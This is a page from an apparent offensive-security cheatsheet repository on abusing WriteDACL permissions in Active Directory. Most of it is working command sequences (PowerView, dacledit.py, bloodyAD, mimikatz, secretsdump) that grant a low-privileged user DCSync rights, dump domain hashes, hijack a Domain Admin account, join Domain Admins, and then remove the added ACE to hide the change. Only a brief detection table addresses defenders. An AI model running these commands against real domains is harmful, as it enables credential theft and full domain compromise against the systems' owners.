repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-21-writedacl-abuse.mdMarkdown161 lines7.0 KiBsource raw download

title: "Attack #21 โ€” WriteDACL Abuse" description: "WriteDACL allows an attacker to modify the Discretionary Access Control List of a target AD object โ€” meaning they can grant themselves (or any principal)โ€ฆ" category: active-directory subcategory: "ACL Abuse" tags: ["active-directory", "credential-access", "privilege-escalation", "hashing"] tools: ["Impacket", "Mimikatz", "BloodHound", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Three/๐ŸŸก Attack #21 โ€” WriteDACL Abuse.md"#

๐ŸŸก Attack #21 โ€” WriteDACL Abuse#


๐Ÿ“– How It Works#

WriteDACL allows an attacker to modify the Discretionary Access Control List of a target AD object โ€” meaning they can grant themselves (or any principal) any permission they want on that object. This is typically used as a stepping stone: the attacker grants themselves GenericAll or DCSync rights, then uses those elevated permissions to exploit the target.

The most devastating use is WriteDACL on the domain root object (DC=corp,DC=local), which allows the attacker to grant themselves DCSync rights โ€” enabling extraction of every credential in the domain without Domain Admin privileges.

Exploitation Chain#

1. Identify WriteDACL on a target object (BloodHound / PowerView)
2. Add a new ACE granting yourself desired rights:
   - GenericAll on user/group โ†’ password reset / group membership
   - DCSync rights on domain root โ†’ extract all hashes
3. Exploit the newly granted permissions
4. Optionally remove the ACE to cover tracks

โš™๏ธ Prerequisites#

Requirement Detail
WriteDACL ACE on target Your controlled principal must have WriteDACL in the target's DACL
Domain user account Any authenticated domain user

๐Ÿ› ๏ธ Tools#

Tool Platform Notes
PowerView Windows Add-DomainObjectAcl โ€” add ACEs to DACLs
Impacket โ€” dacledit.py Linux Remote DACL editing
bloodyAD Linux add dcsync, add genericAll shortcuts
ldap_shell Linux Interactive LDAP exploitation

๐Ÿ’ป Full Commands#

๐Ÿ”ด WriteDACL on Domain Root โ†’ Grant DCSync#

# โ”€โ”€ PowerView โ€” grant DCSync rights to yourself โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity low_user -Rights DCSync -Verbose

# โ”€โ”€ Now DCSync โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
# โ”€โ”€ dacledit.py โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
dacledit.py -action write -rights DCSync \
  -principal low_user -target-dn "DC=corp,DC=local" \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10

# Now DCSync
secretsdump.py corp.local/low_user:'Password1'@DC01.corp.local -just-dc-user krbtgt

# โ”€โ”€ bloodyAD โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
  add dcsync low_user

๐Ÿ”ด WriteDACL on User โ†’ Grant GenericAll#

# โ”€โ”€ Grant GenericAll over a DA account โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Add-DomainObjectAcl -TargetIdentity targetadmin -PrincipalIdentity low_user -Rights All

# โ”€โ”€ Now reset their password โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
$NewPassword = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetadmin -AccountPassword $NewPassword
# โ”€โ”€ dacledit.py โ€” grant GenericAll โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
dacledit.py -action write -rights FullControl \
  -principal low_user -target targetadmin \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10

๐Ÿ”ด WriteDACL on Group โ†’ Grant Self-Add#

# โ”€โ”€ Grant yourself rights to modify group membership โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
  -PrincipalIdentity low_user -Rights All

# โ”€โ”€ Add yourself to Domain Admins โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Add-DomainGroupMember -Identity "Domain Admins" -Members low_user

๐Ÿ”ด Cleanup โ€” Remove the ACE#

# โ”€โ”€ Remove the ACE you added โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Remove-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity low_user -Rights DCSync -Verbose
# โ”€โ”€ dacledit.py cleanup โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
dacledit.py -action remove -rights DCSync \
  -principal low_user -target-dn "DC=corp,DC=local" \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10

๐ŸŽฏ OPSEC Tips#


๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4662 Security Log (DC) Object access โ€” tracks DACL writes on the domain root
5136 Security Log (DC) Directory Service object modification โ€” nTSecurityDescriptor changes
4670 Security Log (DC) Permissions on an object were changed

๐Ÿ”— Attack Chain Context#

[WriteDACL] โ”€โ”€โ†’ Grant Yourself Any Permission
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿฉธ Domain root โ†’ DCSync rights โ†’ all domain hashes
         โ”œโ”€โ”€โ†’ ๐Ÿ‘ค User object โ†’ GenericAll โ†’ password reset โ†’ account takeover
         โ”œโ”€โ”€โ†’ ๐Ÿ‘ฅ Group object โ†’ modify membership โ†’ add self to DA
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Chain: WriteDACL โ†’ DCSync (#37) โ†’ Golden Ticket (#11)
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: audit DACLs, monitor 4670/5136, least privilege

โœ… Attack #21 โ€” WriteDACL Abuse complete.